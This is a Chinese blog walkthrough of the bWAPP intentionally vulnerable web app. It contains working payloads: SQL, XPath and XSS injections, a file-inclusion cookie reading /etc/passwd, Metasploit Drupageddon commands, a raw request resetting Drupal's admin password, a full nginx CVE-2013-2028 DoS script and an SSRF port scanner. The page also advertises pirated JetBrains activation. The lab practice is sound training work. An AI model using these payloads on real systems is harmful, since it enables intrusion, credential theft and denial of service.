1. 全栈程序员必看首页

bwapp通关（全完结）

全栈程序员-用户IM • • 未分类

bwapp通关（全完结）bwapp/A1-Injection/HTMLInjection-Reflected(GET)HTMLInjection-Reflected(POST)HTMLInjection-Reflected(CurrentURL)HTMLInjection-Stored(Blog)iFrameInjectionLDAPInjection(Search)【待开化】———————-bWAPPv2.2—————–

大家好，又见面了，我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

bwapp

———————- bWAPP v2.2 ———————–

/ A1 – Injection /HTML Injection – Reflected (GET)

在这里插入图片描述

HTML Injection – Reflected (POST)

换成post在这里插入图片描述

随便搞了，随便写，html随便插

HTML Injection – Reflected (Current URL)

只有在IE浏览器中实现，Chrome和Firefox中HTML参数均为解析出来。
在这里插入图片描述

在连接后面随便增添值

HTML Injection – Stored (Blog)

在这里插入图片描述

iFrame Injection

iframe是可用于在HTML页面中嵌入一些文件(如文档，视频等)的一项技术。对iframe最简单的解释就是“iframe是一个可以在当前页面中显示其它页面内容的技术”。

通过利用iframe标签对网站页面进行注入，是利用了HTML标签，实际上就是一个阅读器，可以阅读通过协议加载的活服务器本地的文件、视频等。

在这里插入图片描述
我们这里发现，他包含了一个robots.txt的文件，我们试试其他喽
在这里插入图片描述

LDAP Injection (Search)【待开化】

Mail Header Injection (SMTP)【待开化】

OS Command Injection

在这里插入图片描述
其余的绕过见之前的
这样就可以了

​OS Command Injection – Blind

盲注我们可以进行延时或者直接字符型，

在这里插入图片描述

或者||whoami `sleep 5 `

PHP Code Injection

在这里插入图片描述
直接命令执行即可

Server-Side Includes (SSI) Injection【待开化】

SQL Injection (GET/Search)
在这里插入图片描述
我们在输入‘ 后发现报错，然后我们进行orderby，
在这里插入图片描述

到8报错
在这里插入图片描述
确定回显位置
在这里插入图片描述

查询数据库，其余和正常查询一致

SQL Injection (GET/Select)

在这里插入图片描述
数字型的，直接注入即可，同上

SQL Injection (POST/Search)

在这里插入图片描述
我们尝试I‘发现报错
在这里插入图片描述
那么我们想办法闭合他，
I%’ #
这样我们就能闭合并查询出东西
在这里插入图片描述
当然，如果有报错，我们还可以使用报错注入

SQL Injection (POST/Select)

同上，只不过变成了select的，post抓包修改一样的

SQL Injection (AJAX/JSON/jQuery)

ajax他是一个异步通讯，能够在网页不刷新的情况下，刷新网页内部的东西
而它的返回值一般是json/xml格式的，jQuery中提供实现ajax的方法
在这里插入图片描述
从sqli_10-2获取了json，
在这里插入图片描述
10-2这里可以存在注入
因为是异步的嘛，所以我们在他的前台输入即可，7可以，8直接查询不到

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
-a%' union select 1,database(),(group_concat(table_name)),4,5,6,7 from information_schema.tables where table_schema='bWAPP' #
在这里插入图片描述

SQL Injection (CAPTCHA)

（无法使用，不知道是我的问题还是。。）

SQL Injection (Login Form/Hero)

![在这里插入图片描述](https://img-blog.csdnimg.cn/20201023173256322.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2h4aHhoeGh4eA==,size_16,color_FFFF在这里插入图片描述
我们输入4，仍然可以注入
我们输入5
在这里插入图片描述
说明只有四列
在这里插入图片描述
找到回显
在这里插入图片描述

这里有报错的话，我们直接报错注入

在这里插入图片描述

SQL Injection (Login Form/User)

在这里插入图片描述
我们发现有报错，,但是没有找到任何可以回显的地方

发现无法判断, 因为前端回显的结果只有当密码(第二个if语句)也正确时才会显示。

因此无法使用order by 判断字段数 (判断注入点是为了用order by来得到字段数)

但是可以直接通过联合查询得到字段数:

在这里插入图片描述

但是又无法判断, 因为前端回显的结果只有当密码(第二个if语句)也正确时才会显示。

我们去数据库查询看看
在这里插入图片描述
我们发现，他的第三位是md5加密的
在这里插入图片描述
由于用户名和密码是分开进行判断的, 为了能够回显出报错信息, 需要注入的联合查询字段(顺序为3)与输入的密码相等

比如, 注入的联合查询为:

用户名:  ' union select 1,2,"77de68daecd823babbb58edb1c8e14d7106e83bb",4,5,6,7,8,9 #
密码  :  3

在这里插入图片描述

SQL Injection (SQLite)

首先需要安装SQLite插件:

apt-get install sqlite3
 
apt-get install php5-sqlite

然后重启一下apache:

service apache2 restart

注入单引号, 只会报错 Error: HY000, 可能是SQLite的报错标注:
在这里插入图片描述

根据查询功能, 很明显为模糊匹配:
在这里插入图片描述

于是得出sql语句为:
select * from books where title='%$title%';
判断注入点
Iron%' and 1=1 --
注意在SQLite中, 注释符为: --
在这里插入图片描述

判断字段数
Iron%' order by 6 --
判断字段显示顺序
123%' union select 1,2,3,4,5,6 --
在这里插入图片描述

爆所有表
123%' union select 1,sqlite_version(),name,4,5,6 from sqlite_master --
在这里插入图片描述

users表的字段
123%' union select 1,sqlite_version(),sql,4,5,6 from sqlite_master --
通过sql可以查看建表语句, 从而得到字段属性:
在这里插入图片描述

取值
123%' union select 1,2,login,password,5,6 from users --
在这里插入图片描述
因为环境问题，转自
https://blog.csdn.net/angry_program/article/details/104545171#0x07%E3%80%81SQL%20Injection%20%28Login%20Form%2FUser%29

SQLite 介绍

SQLite含有一张内置表“sqlite_master”,表里存储着type、name、tbl_name、rootpage、sql五个字段。

type列记录了项目的类型，如table、index、view、trigger

tbl_name字段记录所从属的表名，如索引所在的表名。对于表来说，该列就是表名本身；

name字段记录了项目的名称，如表名、索引名等；

rootpage记录项目在数据库页中存储的编号。对于视图和触发器，该列值为0或者NULL

sql存放着所有表的创建语句，即表的结构。

SQL Injection (Drupal)

在这里插入图片描述
只有bee-box可以使用，所以 我们只演示，并无结果
search drupal
在这里插入图片描述
使用CVE-2014-3704对应的攻击模块:

use exploit/multi/http/drupal_drupageddon
设置Drupal网站路径:

set targeturi /drupal/
所定攻击的ip和端口:

set RHOSTS 192.168.10.10

set rport 8080
发动攻击, 拿到shell:

exploit

前情提要

CVE-2014-3704:
由于expandArguments()函数没有正确构造准备好的语句，这使得远程攻击者能够通过包含精心编制的手工语句进行SQL注入攻击。影响Drupal版本在7.x~1.32。

Drupal是一款开源内容管理系统（CMS），用户多达100万以上（包括政府、电子零售、企业组织、金融机构等），除非已经安装了针对Drupalgeddon 漏洞的安全补丁，否则，所有用户都会面临该漏洞的严重威胁。

SQL Injection – Stored (Blog)

在这里插入图片描述
我们先看看报错，
然后我们闭合他
insert into blog(date,entry,owner) values(now(), '$entry', 'bee');
注入点为entry处, 可以将前面的values() 闭合掉, 然后加上注入内容即可:
在这里插入图片描述

SQL Injection – Stored (SQLite)

(暂时无法使用，但是和上一关类似，只不过语法变成了sqlite的)

SQL Injection – Stored (User-Agent)

在这里插入图片描述
我们在UA处注入，发现了报错，
那么我们紧接着闭合，
在这里插入图片描述
我们需要闭合他的内部函数，回显在ip这里
INSERT INTO blog (date, user_agent, ip_address) VALUES(now(), '$user-agent','$ip');

SQL Injection – Stored (XML)

在这里插入图片描述
点击会发送一次信息
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们发现这里会改写文字
得到回显之后, 接下来就是判断sql语句, 由于是写入网页的bee值, 那么猜测为update语句:

UPDATE users SET secret = '$secret' WHERE login = '$login';
因为这里有报错，我们试试报错注入
在这里插入图片描述

SQL Injection – Blind – Boolean-Based

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
注释掉后，发现回显不同，说明可以注入
在这里插入图片描述
这里我们输入3的时候，发现，不存在，
在这里插入图片描述
bwapp 正好是5个，那么，5时，发现存在

SQL Injection – Blind – Time-Based

在这里插入图片描述
我们发现，这里可以sleep（5）说明这里存在延时注入在这里插入图片描述
这里，很明显不正确，
所以当length长度为5时，回显正确
在这里插入图片描述

SQL Injection – Blind (SQLite)

SQL Injection – Blind (Web Services/SOAP)

XML/XPath Injection (Login Form)

在这里插入图片描述
我们加一个单引号，发现xmli报错，说明这里存在xml注入

查看源码得知是通过读取heroes.xml文件的内容, 并且通过xpath寻找用户的账户和密码来验证登录:
在这里插入图片描述
heroes.xml文件, 是一个xml文件, 里面包含了用户名和登录密码等信息:
在这里插入图片描述
根据查询语句
在这里插入图片描述
123' or 1=1 or ''='

$result = $xml->xpath("/heroes/hero[login='"123' or 1=1 or ''=' "' and password='" . $password . "']");
构造永真，，万能密码登录
在这里插入图片描述

原理

XPath注入的原理其实和sql注入很像， XPath注入攻击主要是通过构建特殊的输入，这些输入往往是XPath语法中的一些组合，这些输入将作为参数传入Web 应用程序，通过执行XPath查询而执行入侵者想要的操作，

但是，注入的对象不是数据库users表了，而是一个存储数据的XML文件。攻击者可以获取 XML 数据的组织结构，或者访问在正常情况下不允许访问的数据，如果 XML 数据被用于用户认证，那么攻击者就可以提升他的权限。因为xpath不存在访问控制，所以我们不会遇到许多在SQL注入中经常遇到的访问限制。

XML 中没有访问控制或者用户认证，如果用户有权限使用 XPath 查询，并且之间没有防御系统或者查询语句没有被防御系统过滤，那么用户就能够访问整个 XML 文档。 注入出现的位置也就是cookie，headers，request parameters/input等。

XML/XPath Injection (Search)

在这里插入图片描述
单引号报错，说明是xml注入
查看源码

在这里插入图片描述
//hero[contains(genre, '$genre')]/movie

大概表示所有属性值genre为$genre的hero标签下的movie元素值

这里的genre参数是可控的,  攻击者可以构造恶意xpath语句来获取整个xml文档的信息:

比如,  通过闭合$genre前面的单引号,  然后在后面选取hero的password元素值; 最后用一个 | 运算符将movie闭合好

horror')]/password | xx[contains(a,'
注入后的xpath语句为:
//hero[contains(genre, 'horror')]/password | xx[contains(a,'')]/movie

在这里插入图片描述

/ A2 – Broken Auth. & Session Mgmt. /

Broken Authentication – CAPTCHA Bypassing

验证码绕过，burp爆破即可
只需要填写一次验证码

在这里插入图片描述

Broken Authentication – Forgotten Function

同样，burp爆破
在这里插入图片描述

Broken Authentication – Insecure Login Forms

在这里插入图片描述
很明显，这里是信息泄露

Broken Authentication – Logout Management

switch($_COOKIE["security_level"])
{ 
    case "0" :       
        // Do nothing
        break;  
    case "1" :               
        // Destroys the session        
        session_destroy();        
        break;  
    case "2" :                         
        // Unsets all of the session variables
        $_SESSION = array();
        // Destroys the session    
        session_destroy();    
        break;
    default :
        // Do nothing
        break;
}

这里分为三个等级，
low 退出登录，session仍然可用
medium 退出登录时，销毁session
high时，清空session，销毁session
在这里插入图片描述

Broken Authentication – Password Attacks

在这里插入图片描述
同样的burp爆破

Broken Authentication – Weak Passwords

在这里插入图片描述
弱口令爆破

Session Management – Administrative Portals

在这里插入图片描述
一个管理门户，这里对是否是admin有一个0/1的界限
在这里插入图片描述

Session Management – Cookies (HTTPOnly)

在这里插入图片描述

同样是三个等级的不同，
low没有开启httponly
可以获取到cookie

但是medium 开启了，js无法获取
high， 按时间进行刷新cookie ，服务器端获取的也不一样

Session Management – Cookies (Secure)

在这里插入图片描述

Session Management – Session ID in URL

session，存在了url中
在这里插入图片描述

Session Management – Strong Sessions

session需要进行加密，
low 无加密

在这里插入图片描述
medium需要https
在这里插入图片描述

/ A3 – Cross-Site Scripting (XSS)

/Cross-Site Scripting – Reflected (GET)

在这里插入图片描述
无过滤，随便弹，
medium 使用addslashes()函数来进行过滤
high 使用 htmlspecialchars()函数来进行过滤

Cross-Site Scripting – Reflected (POST)

同get
在这里插入图片描述

Cross-Site Scripting – Reflected (JSON)

json 是在页面内加载的，我们将他闭合即可
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
medium和high加入了htmlspecialchars()函数

Cross-Site Scripting – Reflected (AJAX/JSON)

ajax 异步通讯的
在这里插入图片描述
我们使用其他标签即可
<img src = x onerror =alert(1)>

Cross-Site Scripting – Reflected (AJAX/XML)

Cross-Site Scripting – Reflected (Back Button)

Cross-Site Scripting – Reflected (Custom Header)

Cross-Site Scripting – Reflected (Eval)

Cross-Site Scripting – Reflected (HREF)

Cross-Site Scripting – Reflected (Login Form)

Cross-Site Scripting – Reflected (phpMyAdmin)

Cross-Site Scripting – Reflected (PHP_SELF)

Cross-Site Scripting – Reflected (Referer)

Cross-Site Scripting – Reflected (User-Agent)

Cross-Site Scripting – Stored (Blog)

Cross-Site Scripting – Stored (Change Secret)

Cross-Site Scripting – Stored (Cookies)

Cross-Site Scripting – Stored (SQLiteManager)

Cross-Site Scripting – Stored (User-Agent)

/ A4 – Insecure Direct Object References /（不安全的对象直接引用）

Insecure DOR (Change Secret)

在这里插入图片描述
有一个隐藏的input，我们可以直接修改其他人的密码
在这里插入图片描述

Insecure DOR (Reset Secret)

可以重置其他人的密码，同上，直接修改

Insecure DOR (Order Tickets)

在这里插入图片描述
可以直接进行修改

/ A5 – Security Misconfiguration /（安全配置错误）

Arbitrary File Access (Samba)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
本机连接有问题，但是我们选择tmp文件，因为tmp一般可写
在这里插入图片描述

Cross-Domain Policy File (Flash)

本题说的时 Flash的跨域访问策略问题
对应的文件是 crossdomain.xml，如果该文件的访问策略设置不正确，可以导致任意远程Flash文件读取服务器文件
下图中可以看到，允许任意域的Flash访问
在这里插入图片描述
在evil文件夹找到xdx.as，重新填入对应的服务器地址
在这里插入图片描述
用Adobe Flash CS3及以上从新编译一个新的xdx.swf文件，并加入xdx.as这个文件
将编译好的xdx.swf与xdx.php放到服务器的另一个文件夹内。
先登录bWAPP页面，然后在另一个服务器上请求xdx.php，最终会返回secret的内容
在这里插入图片描述

adobe flash环境需要
转自：https://www.jianshu.com/p/495d2ea4cef1

Cross-Origin Resource Sharing (AJAX)

本题讲的是AJAX的跨域资源请求问题
大佬：
https://www.cnblogs.com/demingblog/p/8393511.html

在这里插入图片描述
这里使用官方给的evil攻击脚本，
在这里插入图片描述

Cross-Site Tracing (XST)跨站跟踪攻击

在这里插入图片描述

Denial-of-Service (Large Chunk Size)

在这里插入图片描述
在这里插入图片描述

# Exploit Title: nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028)
# Date: 16.05.2013
# Exploit Author: Mert SARICA - mert [ . ] sarica [ @ ] gmail [ . ] com - http://www.mertsarica.com
# Minor customizations by Malik Mesellem (@MME_IT)
# Vendor Homepage: http://nginx.org/
# Software Link: http://nginx.org/download/nginx-1.4.0.tar.gz
# Version: 1.3.9-1.4.0
# Tested on: Kali Linux & Windows XP (nginx v1.4.0)
# CVE : CVE-2013-2028

import httplib
import time
import socket
import sys
import os

# Vars & Defs
debug = 0
dos_packet = 0xFFFFFFFFFFFFFFEC
socket.setdefaulttimeout(1)

packet = 0

def chunk(data, chunk_size):
    chunked = ""
    chunked += "%s\r\n" % (chunk_size)
    chunked += "%s\r\n" % (data)
    chunked += "0\r\n\r\n"
    return chunked

if sys.platform == 'linux-i386' or sys.platform == 'linux2':
        os.system("clear")
elif sys.platform == 'win32':
        os.system("cls")
else:
        os.system("cls")
                
print "======================================================================"
print u"nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028) [http://www.mertsarica.com]"
print "======================================================================"

if len(sys.argv) < 2:
        print "Usage: python nginx_dos.py [target ip:port]\n"
        print "Example: python nginx_dos.py 127.0.0.1:8080\n"
        sys.exit(1)
else:
    host = sys.argv[1].lower()
        
while packet <= 66:

    body = "beezzzzzzzzzz"
    chunk_size = hex(dos_packet + 1)[3:]
    chunk_size = ("F" + chunk_size[:len(chunk_size)-1]).upper()

    if debug:
        print "data length:", len(body), "chunk size:", chunk_size[:len(chunk_size)]

    try:
        con = httplib.HTTPConnection(host)
        url = "/bWAPP/portal.php"
        con.putrequest('POST', url)
        con.putheader('User-Agent', 'bWAPP')
        con.putheader('Accept', '*/*')
        con.putheader('Transfer-Encoding', 'chunked')
        con.putheader('Content-Type', 'application/x-www-form-urlencoded')
        con.endheaders()
        con.send(chunk(body, chunk_size[:len(chunk_size)]))
    except:
        print "Connection error!"
        sys.exit(1)
        
    try:
        resp = con.getresponse()
        print(resp.status, resp.reason)
    except:
        print "[*] Knock knock, is anybody there ? (" + str(packet) + "/66)"

    packet = packet + 1
    
    con.close()

print "[+] Done!"

自带的攻击脚本
在这里插入图片描述
发起攻击
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
响应时间过长

Denial-of-Service (Slow HTTP DoS)在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
0d0a 相当于 \r \n
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
一直再转

Denial-of-Service (SSL-Exhaustion)

在这里插入图片描述

Denial-of-Service (XML Bomb)

xml实际就是一个本地的简单数据库
在这里插入图片描述
我们抓包，这是一个xml的一个语句
如上一步分是dtd，
ENTITY 定义一个实体，
名字叫lol 内容是lol
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
lol1 内包含了十个lol
lol2中包含了十个lol1 ，一个lol1包含十个lol
指数型增长
如上几个是dos ，这里不方便打自己的虚拟机，就找一些其他 截屏了

Insecure FTP Configuration

暂无环境

Insecure SNMP Configuration

暂无环境

Insecure WebDAV Configuration

暂无环境

Local Privilege Escalation (sendpage)

暂无环境

Local Privilege Escalation (udev)

暂无环境

Man-in-the-Middle Attack (HTTP)

如上正在配置，

Man-in-the-Middle Attack (SMTP)

Old/Backup & Unreferenced Files

旧的，或者备份文件的目录，
在这里插入图片描述

Robots File

robots.txt敏感文件暴露
在这里插入图片描述

/ A6 – Sensitive Data Exposure /

Base64 Encoding (Secret)

提示我们cookie中存在base在这里插入图片描述
在这里插入图片描述

BEAST/CRIME/BREACH Attacks

需要box环境
在这里插入图片描述

Clear Text HTTP (Credentials)

很明显，明文传输在这里插入图片描述

Heartbleed Vulnerability

这个想必大家都有耳闻，大名鼎鼎的心脏出血、
适用版本
OpenSSL1.0.1
当然，msf就能够进行利用

在这里插入图片描述

Host Header Attack (Reset HTMLrage (Secret)

在这里插入图片描述

POODLE Vulnerability

SSL 2.0 Deprecated Protocol

HTML5 Web Storage (Secret)

直接访问，我们看到了密码在这里插入图片描述
中级的密码
在这里插入图片描述
在这里插入图片描述

Text Files (Accounts)

插入了一个文件的账户密码
在这里插入图片描述
在这里插入图片描述

/ A7 – Missing Functional Level Access Control /

Directory Traversal – Directories

直接可以访问文件
在这里插入图片描述

Directory Traversal – Files

在这里插入图片描述
目录穿越

Host Header Attack (Cache Poisoning)

缓存中毒

Host Header Attack (Reset Poisoning)

由于不能发送邮件，这里转一篇如何进行攻击
在这里插入图片描述
当我们进行重置密码的时候
在这里插入图片描述
发现他重置密码的ip为localhost
那么我们如果进行修改的话
在这里插入图片描述
换成自己的ip
在这里插入图片描述
这里就成了自己的ip

Local File Inclusion (SQLiteManager)

暂时无beebox
在这里插入图片描述

GET /home/sqlite/ HTTP/1.0
[...]
Cookie: PHPSESSID=[...];SQLiteManager_currentTheme=../../../../../../../../../../../../../etc/passwd%00;
SQLiteManager_currentLangue=deleted

利用：https://www.securityfocus.com/bid/22727/exploit

Remote & Local File Inclusion (RFI/LFI)

payload:
rlfi.php?language=http://www.baidu.com&action=go

Restrict Device Access

在这里插入图片描述
需要特殊的设备，那么修改UA头即可

Restrict Folder Access

low可以随意访问
在这里插入图片描述
htaccess 在其他版本中，起了限制作用，都不能进行访问了
在这里插入图片描述

Server Side Request Forgery (SSRF)

详细的ssrf
https://blog.csdn.net/u010726042/article/details/77806775

bwapp自带的ssrf扫描端口脚本

<?php

/*

bWAPP, or a buggy web application, is a free and open source deliberately insecure web application.
It helps security enthusiasts, developers and students to discover and to prevent web vulnerabilities.
bWAPP covers all major known web vulnerabilities, including all risks from the OWASP Top 10 project!
It is for educational purposes only.

Enjoy!

Malik Mesellem
Twitter: @MME_IT

© 2013 MME BVBA. All rights reserved.

*/

echo "<script>alert(\"U 4r3 0wn3d by MME!!!\");</script>";

if(isset($_REQUEST["ip"]))
{
    
    //list of port numbers to scan
    $ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);
    
    $results = array();
    
    foreach($ports as $port)
    {

        if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))
        {

            $results[$port] = true;
            fclose($pf);
            
        }
        
        else
        {

            $results[$port] = false;        

        }

    }
 
    foreach($results as $port=>$val)
    {

        $prot = getservbyport($port,"tcp");
        echo "Port $port ($prot): ";

        if($val)
        {

            echo "<span style=\"color:green\">OK</span><br/>";

        }

        else
        {

            echo "<span style=\"color:red\">Inaccessible</span><br/>";

        }

    }

}
?>

XML External Entity Attacks (XXE)

http://www.youknowi.xin/xxe%e6%94%bb%e5%87%bb/

/ A8 – Cross-Site Request Forgery (CSRF) /

详解
https://www.cnblogs.com/wangyuyu/p/3388169.html

Cross-Site Request Forgery (Change Password)

Cross-Site Request Forgery (Change Secret)

Cross-Site Request Forgery (Transfer Amount)

/ A9 – Using Known Vulnerable Components /

使用已知的脆弱的部件

Buffer Overflow (Local)

本地缓存溢出
（bee-box only）暂时未安装

Buffer Overflow (Remote)

Drupal SQL Injection (Drupageddon)

POST /drupal-7.31/?q=node&destination=node HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/drupal-7.31/
Cookie: Drupal.toolbar.collapsed=0; Drupal.tableDrag.showWeight=0; has_js=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 231
name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in

测试代码

Heartbleed Vulnerability

(CVE-2014-0160)
心脏滴血，太出名了

PHP CGI Remote Code Execution

在这里插入图片描述
box专享

PHP Eval Function

在这里插入图片描述
在这里插入图片描述

phpMyAdmin BBCode Tag XSS

CVE-2016-9862
影响版本

phpMyAdmin phpMyAdmin 4.6.x
在这里插入图片描述

Shellshock Vulnerability (CGI)

在这里插入图片描述

SQLiteManager Local File Inclusion

在这里插入图片描述

SQLiteManager PHP Code Injection

在这里插入图片描述

SQLiteManager XSS

在这里插入图片描述

/ A10 – Unvalidated Redirects & Forwards /

Unvalidated Redirects & Forwards (1)

未验证的重定向和转发（已经从top10 中移除）
在这里插入图片描述
登录时存在跳转网页，我们就可以进行抓包修改，可以修改到我们想要的钓鱼网站

Unvalidated Redirects & Forwards (2)

/ Other bugs… /ClickJacking (Movie Tickets)

在这里插入图片描述

Client-Side Validation (Password)

前端绕过 设置弱密码
在这里插入图片描述
那么既然是客户端校验，就很好解决了，我们在源码中驱动onsubmit或者响应包里删除js部分可绕过限制，实现修改成简单密码形式

HTTP Parameter Pollution

href=hpp-3.php?movie=1&name=meetsec&movie=2&action=vote
http参数污染，在之前有介绍，每个浏览器对于参数污染的部分不同
这里他会投票给了2号，一号就相当于没有了

HTTP Response Splitting

HTTP拆分攻击

HTTP Verb Tampering

HVT，http动作窜改漏洞，也就是修改get,post,trace,put,move,delete等

其实有些时候，通过改变不同方法可以用来过waf
或者csrf中构造poc，如果存在本漏洞，可以直接在url中提交参数，点击即中招

Information Disclosure – Favicon

信息泄漏，本题是指有时候页面图标会泄漏web框架信息
在这里插入图片描述

Information Disclosure – Headers

这题告诉我们，响应包里会泄漏服务器的相关信息，攻击者可能利用相关信息找到对应漏洞针对性攻击

要么屏蔽banner信息，要么混淆

Information Disclosure – PHP version

在这里插入图片描述

Information Disclosure – Robots File

robots.txt会泄漏网站敏感路径信息

Insecure iFrame (Login Form)

不安全的登陆框
在这里插入图片描述

Unrestricted File Upload

不加限制的上传
他针对后缀没有任何的限制

————————— Extras ————————–

A.l.M.- No-authentication Mode

没有身份验证模式

在这里插入图片描述

Client Access Policy File

客户端访问策略文件
clientaccesspolicy.xml<-微软公司发布Silverlight特有的跨域策略文件

Cross-Domain Policy File

跨域个人文件
跨域策略文件是一种 XML 文档，旨在为 Web 客户端(比如 Adobe Flash Player 或 Adobe Acrobat,但不限于这两类客户端）授予跨域处理数据的权限。

跨域策略文件的配置方法
一个服务器想要访问其他域的服务器时就要跨域，若想要访问成功，被访问服务器要设置允许访问权限，这个权限设置就是跨域策略文件(crossdomain.xml)的存在意义 了
allow-access-from:授权发出请求的域从目标中读取数据，*为多个域设置访问权限

Evil 666 Fuzzing Page

模糊测试
https://www.freebuf.com/column/157277.html

Manual Intervention Required!

人工干预验证码（应该是）
在这里插入图片描述

Unprotected Admin Portal

(未被保护的管理后台)
在这里插入图片描述

We Steal Secrets… (html)

我们发现，只要登录就会显示密码
在这里插入图片描述

在这里插入图片描述

We Steal Secrets… (plain)

在这里插入图片描述

WSDL File (Web Services/SOAP)

WebService之Soap服务
https://blog.csdn.net/LoveCarpenter/article/details/53945697

版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 举报，一经查实，本站将立刻删除。

发布者：全栈程序员-用户IM，转载请注明出处：https://javaforall.cn/190270.html原文链接：https://javaforall.cn

【正版授权，激活自己账号】： Jetbrains全家桶Ide使用，1年售后保障，每天仅需1毛

【官方授权 正版激活】： 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

赞 (0)
全栈程序员-用户IM全栈程序员-用户IM
0 0


相关推荐

  • 利用远程外网服务器搭建代理服务器[通俗易懂]

    利用远程外网服务器搭建代理服务器[通俗易懂]

    利用远程外网服务器搭建代理服务器[通俗易懂]安装CCProxy官网地址：http://www.ccproxy.com/下载安装即可，软件使用很简单。配置CCProxy配置端口基本上不需要配置什么，只要你将默认的端口改为你的端口号就行，不改可能会被其他软件扫描到。新增账号新增账号支持访问，具体权限可以看说明。选择你的远程服务器特别说明：你的服务器一定要配置安全组，否则端口无法访问。通过服务器中的teln…

    全栈程序员-用户IM 全栈程序员-用户IM
    2022年5月1日
  • 数据库ER图基础概念知识

    数据库ER图基础概念知识

    数据库ER图基础概念知识ER图分为实体、属性、关系三个核心部分。实体是长方形体现，而属性则是椭圆形，关系为菱形。ER图的实体（entity）即数据模型中的数据对象，例如人、学生、音乐都可以作为一个数据对象，用长方体来表示，每个实体都有自己的实体成员（entitymember）或者说实体对象（entityinstance…

    全栈程序员-用户IM 全栈程序员-用户IM
    2022年6月21日
  • java文档注释报错,java文档注释主要使用方法「建议收藏」

    java文档注释报错,java文档注释主要使用方法「建议收藏」

    java文档注释报错,java文档注释主要使用方法「建议收藏」一、java包含哪些注释1.//用于单行注释。2./*…*/用于多行注释，从/*开始，到*/结束，不能嵌套。3./**…*/则是为支持jdk工具javadoc.exe而特有的注释语句。这个也就是我们所知的文档注释在命名控制台:使用命令行在目标文件所在目录输入javadoc+文件名.java。二、文档注释的关键名词/**标记用于…

    全栈程序员-用户IM 全栈程序员-用户IM
    2022年10月31日
  • 安卓编程用什么软件_如何用手机进行编程？有哪些值得推荐的软件？

    安卓编程用什么软件_如何用手机进行编程？有哪些值得推荐的软件？

    安卓编程用什么软件_如何用手机进行编程？有哪些值得推荐的软件？手机上可以编程的软件其实有很多，有付费的也有免费的，这里简单介绍几个免费的手机编程软件，主要分为C/C++、Java、Python、Html和Linux5个方面，感兴趣的朋友可以自己下载尝试一下，主要内容如下：C/C++这里介绍一个手机软件—C++编译器，可以直接编辑运行C/C++代码，代码高亮，自带有语法检查功能，使用起来非常不错，下面我简单介绍一下这个软件：1.首先，安装C++编译器，这个直接…

    全栈程序员-用户IM 全栈程序员-用户IM
    2022年5月24日
  • 圣经中基甸的故事_未知之路

    圣经中基甸的故事_未知之路

    圣经中基甸的故事_未知之路给定一个包含 n 个点 m 条边的有向图，每条边都有一个流量下界和流量上界。给定源点 S 和汇点 T，求源点到汇点的最小流。输入格式第一行包含四个整数 n,m,S,T。接下来 m 行，每行包含四个整数 a,b,c,d 表示点 a 和 b 之间存在一条有向边，该边的流量下界为 c，流量上界为 d。点编号从 1 到 n。输出格式输出一个整数表示最小流。如果无解，则输出 No Solution。数据范围1≤n≤50003,1≤m≤125003,1≤a,b≤n,0≤c≤d≤21474836

    全栈程序员-用户IM 全栈程序员-用户IM
    2022年8月9日
  • 史上最硬核的Linux命令大全，还不收藏？ ❤️【通俗易懂，小白一看就会】「建议收藏」

    史上最硬核的Linux命令大全，还不收藏？ ❤️【通俗易懂，小白一看就会】「建议收藏」

    史上最硬核的Linux命令大全，还不收藏？ ❤️【通俗易懂，小白一看就会】「建议收藏」目录????前言????命令汇总????文件管理1️⃣ls命令–显示指定工作目录下的内容及属性信息2️⃣cp命令–复制文件或目录3️⃣mkdir命令–创建目录4️⃣mv命令–移动或改名文件5️⃣pwd命令–显示当前路径????文档编辑1️⃣cat命令–在终端设备上显示文件内容2️⃣e…

    全栈程序员-用户IM 全栈程序员-用户IM
    2022年10月21日

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号